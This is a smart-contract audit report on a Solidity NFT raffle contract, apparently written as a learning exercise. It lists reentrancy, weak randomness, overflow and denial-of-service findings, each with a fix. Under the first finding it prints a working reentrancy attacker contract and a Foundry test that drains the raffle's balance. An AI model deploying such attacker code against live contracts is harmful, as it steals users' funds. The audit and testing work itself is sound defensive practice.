Prepared by: [Rubén]

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:

    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Rubén Cruz makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

./src/PuppyRaffle.sol

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

It was a great experience trying to audit in this example project. It has helped me to learn more about security audits and the basics of the proccess to be able to perform great at them.

Issues found

Severity	Number of issues found
High	4
Medium	2
Low	1
Info	6 + 2 (gas)
Total	15

Findings

Highs

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balances.

Description:

`PuppyRaffle::refund` function does not follow CEI, leading to a potential Reentrancy attack in which a user can steal the contract balance.

In `PuppyRaffle::refund`, we make an external call to `msg.sender` and we update `PuppyRaffle::players` array after this call.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");


@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback/receive` function that can call `PuppyRaffle::refund` multiple times, draining the contract balance.

Impact:

All fees paid by the raffle players can be stolen.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with `receive` and `fallback` functions that calls `PuppyRaffle::refund` multiple times
3. Attacker sends funds to the contract
4. `PuppyRaffle::refund` is called multiple times, draining the contract balance

Place the following test into `PuppyRaffleTest.t.sol`:

▶ PoC Reentrancy

```
function testRefundReentrancy() public {
       address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
        address attacker = makeAddr("attacker");
        vm.deal(attacker, 1 ether);

        uint startingAttackerBalance = address(attackerContract).balance;
        uint startingContractBalance = address(puppyRaffle).balance;

        vm.prank(attacker);
        attackerContract.attack{value: entranceFee}();

        console2.log("Attacker balance: ", address(attackerContract).balance);
        console2.log("Contract balance: ", address(puppyRaffle).balance);
        console2.log("Ending Attacker balance: ",
address(attackerContract).balance);
        console2.log("ending contract balance: ", address(puppyRaffle).balance);
    }
}
```

And this contract as well.

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
```

```
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation:

To prevent this, we should have the `PuppyRaffle::refund` function follow CEI, updating `players` array before the external call. Additionally, we should move the event emission as well.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);

        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
}
```

[H-2] Weak PRNG `PuppyRaffle::selectWinner` that can be influenced by validators to influence or predict the winner.

Description:

Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable random number. This makes it not to be random, which malicious actors can take advantage of to alter the raffle.

Note: This also means users could front-run this function and call `refund` if they see they are not the winner.

Impact:

The raffle can be rigged by malicious actors to predict the winner, influence the selection of the winner or select the puppy they want.

Proof of Concept:

1. Validators can front-run the `PuppyRaffle::selectWinner` function and call `PuppyRaffle::refund` if they see they are not the winner.
2. Validators can also predict the winner ahead of time by hashing `msg.sender`, `block.timestamp` and `block.difficulty` together.
3. Users can manipulate their `msg.sender` value to result in their address being used to generate the winner.
4. Users can revert their `selectWinner` transaction if they do not like the winner or the resulting puppy.

Using on-chain values to generate randomness is a bad practice.

Recommended Mitigation:

Consider using a cryptographically provable random number generator that is not based on on-chain values, like Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees.

Description: Solidity versions prior to `0.8.0` integers were subject to integer overflow, which would cause the `totalFees` variable to overflow and lose fees.

Impact:
In `PuppyRaffle`, the `totalFees` variable is used to track the total amount of fees collected from the raffle for the `feeAddress`. If the `totalFees` variable overflows, it will result in a loss of fees.

Proof of Concept:

1. We conclude a 4 players raffle
2. We then have a 89 players enter a new raffle, and conclude it.
3. `totalFees` will be:

```
totalFees = totalFees + Uint64(fee)
totalFees = 800000000000000000 + 17800000000000000000
// this will overflow
totalFees = 153255926290448384
```

4. You will not be able to withdraw in `withdrawFees` function.

```
 require(address(this).balance == uint256(totalFees), "PuppyRaffle: There
are currently players active!");
```

You can use `selfdestruct` to send ETH to the contract, but this is not the protocol desing intention.

Recommended Mitigation:

There are a few possible mitigation.

1. Using a newer version of Solidity, around `0.8.0`, `uint256` instead of `uint64` for `PuppyRaffle::totalFees`.

2. Use `SafeMath` library from OpenZeppelin for 0.7.6 of Solidity, although ypu still have the `uint64` type problem.

[H-4] Mishandling of ETH in `PuppyRaffle::withdrawFees`.

Description: In the `PuppyRaffle::withdrawFees` function, the `require` statement checks if the contract balance is equal to the `totalFees` variable. If the `totalFees` variable overflows, the `require` statement will fail, and the `withdrawFees` function will revert.

Impact: This is a very extrict way for the function to work, and it will not allow you to withdraw the fees if the `totalFees` variable is not equal to the contract balance. A malicious user can `selfdestruct` the contract to drain the contract balance, making the `withdrawFees` function to revert.

Proof of Concept:

1. We can prank a malcious address contract to drain the contract balance, using `selfdestruct` and targeting the raffle contract.
2. It will cause `require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");` to revert.
3. Then, there will be no way to withdraw the fees.

Recommended Mitigation:

You can make the assertion `require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");` less restrictive, allowing to withdraw fees if the balance of the contract id greater than the `totalFees`.

```
function withdrawFees() external {
-    require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are
currently players active!");
+    require(address(this).balance >= uint256(totalFees), "PuppyRaffle: There are
currently players active!");
     uint256 feesToWithdraw = totalFees;

     totalFees = 0;
```

```
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Mediums

[M-1] Looping throught players address to check for duplicates in `PuppyRaffle::enterRaffle` is a potentia DoS Attack.

MPACT: MEDIUM. Is too expensive to do it. LIKELIHOOD: MEDIUM. Only someone who really wants the NFT may do it.

Description: As new players enter in the raffle, the gasPrice of the `PuppyRaffle::enterRaffle` function will increase linearly with the number of `players`, leading to a potential DoS Attack by making the raffle so unaccessible that only people paying a huge gasFee can enter. Every additional address in `players` will cost `entranceFee` more gas, as it is an additional check the loop will have to make.

```
// @audit-issue DoS Attack
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
        emit RaffleEnter(newPlayers);
```

Impact: The gas costs for the raffle entrants will increase linearly with the number of `players`, discouraging later users from entering.

Proof of Concept: After two sets of 100 players enters, gas costs will be: -1st set of 100 players: 6524531 -2nd set of 100 players: 19011310

The second set is 3x more gas expensive than the first.

▶ PoC

```
function test_DoS() public {
        vm.txGasPrice(1);

        // lets enter 100 players
        uint numPlayers = 100;
        address[] memory playerss = new address[](numPlayers);
        for (uint i = 0; i < numPlayers; i++) {
            playerss[i] = address(i);
        }
        uint gasStart = gasleft();
```

```
        puppyRaffle.enterRaffle{value: entranceFee * playerss.length}(playerss);
        uint gasEnd = gasleft();
        uint gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas used first: ", gasUsedFirst);

        //lets enter 100 more players
        address[] memory playerss2 = new address[](numPlayers);
        for (uint i = 0; i < numPlayers; i++) {
            playerss2[i] = address(i + numPlayers);
        }
        uint gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playerss2.length}(playerss2);
        uint gasEndSecond = gasleft();
        uint gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.gasprice;
        console.log("Gas used second: ", gasUsedSecond);
        assert(gasUsedFirst < gasUsedSecond);

    }
```

Recommended Mitigation: There are a few recomendations.

1. Consider allowing duplicates. Users can make new wallet addresses, so checking for duplicates does not really prevent the same person from entering the raffle multiple times, only the same walleet address.
2. Consider using a mapping to check for duplicates. This allows constant time lookup of wheter a user has already entered.
3. Consider using a mapping to check duplicates. For this approach you to declare a variable `uint256 raffleID`, that way each raffle will have unique id. Add a mapping from player address to raffle id to keep of users for particular round.

```
+ uint256 public raffleID;
+ mapping (address => uint256) public usersToRaffleId;
.
.
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must
send enough to enter raffle");

        for (uint256 i = 0; i < newPlayers.length; i++) {
+           // Check for duplicates
+           require(usersToRaffleId[newPlayers[i]] != raffleID, "PuppyRaffle:
Already a participant");

            players.push(newPlayers[i]);
+           usersToRaffleId[newPlayers[i]] = raffleID;
        }

-       // Check for duplicates
-       for (uint256 i = 0; i < players.length - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
```

```
-                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
-            }
-        }

         emit RaffleEnter(newPlayers);
    }
.
.
.

function selectWinner() external {
        //Existing code
+    raffleID = raffleID + 1;

    }
```

[M-2] Smart contract wallets raffle winners without `receive` or `fallback` functions will block the start of a new contest.

Description:

In the `PuppyRaffle::selectWinner` function, if a smart contract wallet wins the raffle and it does not have `receive` or `fallback` functions, it will not be able to receive the puppy NFT, and the raffle will be stuck.

Impact:

The `PuppyRaffle::selectWinner` function could revert many times, making it difficult to start a new raffle. Also, true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the raffle
2. Lottery ends
3. `selectWinner` would not work, although the lottery is over.

Recommended Mitigation:

Pull over Push Create a mapping of addresses => payout so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize.

Lows

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existing players and players at 0 index, leading to misunderstanding.

Description:

If a player is at index 0 and calls `PuppyRaffle::getActivePlayerIndex`, it will return 0, and player may think he is out of the raffle.

Impact:

The player may think he is out of the raffle, and may try to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle
2. User calls `getActivePlayerIndex` and receives 0
3. User may think he is out of the raffle due to function documentation, and try to enter again

Recommended Mitigation: The function should revert if a player is not in the raffle instead of returning 0.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading for a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` in a loop, it incurs a gas cost. Caching the storage variable in a loop can save gas.

```
+ uint playerLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playerLength - 1; i++) {
-         for (uint256 j = i + 1; j < players.length; j++) {
+         for (uint256 j = i + 1; j < playerLength; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
```

Informationals

[I-1] Solidity pragma should be specific

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, nstead of `solidity ^0.8.0`, use `solidity 0.8.0`.

[I-2] Solidity pragma should be a newer version

It is highly recommended to use a newer version of Solidity, like `pragma solidity 0.8.18`.

[I-3] Missing checks for `address(0)` when assigning values to address state variables.

Assigning values to address state variables without checking for `address(0)` can lead to unexpected behavior.

- Found in src/PuppyRaffle.sol: 8662:23:35
- Found in src/PuppyRaffle.sol: 3165:24:35
- Found in src/PuppyRaffle.sol: 9809:26:35

[I-4] `PuppyRaffle::selectWinner` should follow CEI pattern, which is not a best practice

It is better to keep clean code and follow CEI.

```
+ _safeMint(winner, tokenId);
(bool success,) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to winner");
- _safeMint(winner, tokenId);
```

[I-5] Use of "magic" numbers is not a good practice

It can be confusing to see number literals inside the codebase. It is much more readable if the number is given a name.

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you can use:

```
uint public constant PRIZE_POOL_PERCENTAGE = 80;
uint public constant FEE_PERCENTAGE = 20;
uint public constant POOL_PRECISION = 100;
```

[I-6] `PuppyRaffle::isACtivePlayer` is never used and should be removed.